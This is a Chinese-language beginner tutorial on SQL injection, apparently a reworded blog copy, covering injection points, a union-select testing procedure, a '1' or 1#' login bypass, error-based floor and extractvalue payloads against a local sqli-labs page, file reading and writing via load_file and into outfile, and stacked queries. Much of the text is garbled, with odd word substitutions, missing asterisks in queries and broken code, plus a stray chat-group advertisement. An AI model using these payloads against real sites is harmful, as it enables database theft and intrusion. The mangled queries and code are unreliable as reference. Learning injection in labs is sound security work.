zblogphplimit技巧_小白SQL注入根本入门具体解析

文章目录 [+]

搜索型注入 %’

JSON型注入（判断是数字还是字符考虑要不要闭合

zblogphplimit技巧_小白SQL注入根本入门具体解析 zblogphplimit技巧_小白SQL注入根本入门具体解析 Web前端

JSON={"XINGMING":"DUMP' and 1=2 union select 1,database(),2 #"}

（图片来自网络侵删）

如果大家在学习中碰着困难，想找一个python学习互换环境，可以加入我们的python裙，关注

GET注入 Cookie注入 POST注入（登录框）REQUEST 注入（全部接管）

HTTP头部（SERVER注入）

防护软件可能只针对某种提交办法进行防护可以利用其他办法进行绕过

基于查询办法2.SQL注入测试方法

1.探求注入点（登录框，表单，http头部（cookie，ua，re），搜索或者查找。
。
）

2.判断注入点对符号有没有滋扰

3.布局测试语句->1,判断注入类型（数字，字符）->2，闭合（--+ #）

4.通过order by判断列数

5.通过union select判断回显位置

6.布局语句,获取数据 database()

3.万能密码

1‘ or 1#

4.MYSQL根本知识主要名称

information_schema 在php5.0往后支持的 information_schema.schemata 存放的是所有数据库名 information_schema.tables 存放的是所有表名 information_schema.columns 存放的是所有列名 table_schema 数据库名字 table_name 表名 column_name 列名 column_name 用来获取数据库的

SQL命令

1.查看当前数据库 show databases

2.创建数据库 create database wljy charset=gbk;

3.利用数据库 use wljy;

4.查看当前数据表 show tables;

5.创建数据表 default : 默认值 comment: 备注表类型：int varchar(50) auto_increment自动增长 primary key create table test(id int primary key auto_increment,name varchar(50) not null,addr varchar(25) not null default '中国')engine=innodb charset=utf8;

6.查看表构造 desc(descripe) test show create table \G -- 将结果竖着排列

7.插入数据 insert into test(id,name,addr) values(1,'张三','福建'); insert into test values(null,'李四','东北'); insert into test(addr) values(''东京'); // 报错 insert into test(name,addr) values('tom',default);

8.查看数据 select from test where id=3; // id为3的所有信息 select name from test where id=3 // id为3的name信息

9.删除数据 delete from test where id=3;

10.删除表 drop table 表名

11.更新数据 update test set name='王五' where id=2;

1.利用mysqli函数，须要先开启对应的扩展

extension=php_mysqli.dll mysqli_connect(user,dbname); 2.设置字符编码 mysqli_set_charset(中文乱码写语句sql = "select from 510_admin"; 5.实行sql语句，获取工具 con,获取工具数据rs] assoc 关联 row 索引 array 索引+关联

8.报错注入

1.布局目标数据查询语句 2、选择报错注入函数 3、布局报错注入语句 4、拼接报错注入语句

要有print_r(mysql_error());函数

1.floor报错

暴表 http://127.0.0.1/sqllab/Less-3/?id=-1') and (select 1 from (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))a)--+

2.extractvalue报错

http://127.0.0.1/sqllab/Less-3/?id=-1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

3.updatexml报错9.文件读写

可以获取比如扫描出来的网站源码通过导出获取源码

load_file():读取函数

into outflie或into dumpfile ：导出函数

路径获取办法

报错显示(通过输入语句报错显示) 遗留文件(phpinfo) 漏洞报错(利用什么程序搭建搜索相应漏洞 zblog phpcms等) 平台配置文件(默认路径) 爆破等

利用\要利用两个\ 后面有影响的话要注释掉

10.堆叠注入

利用堆叠注入，查询所有数据库：

1';show databases;#

查询words表中所有列:

1';show columns from words;#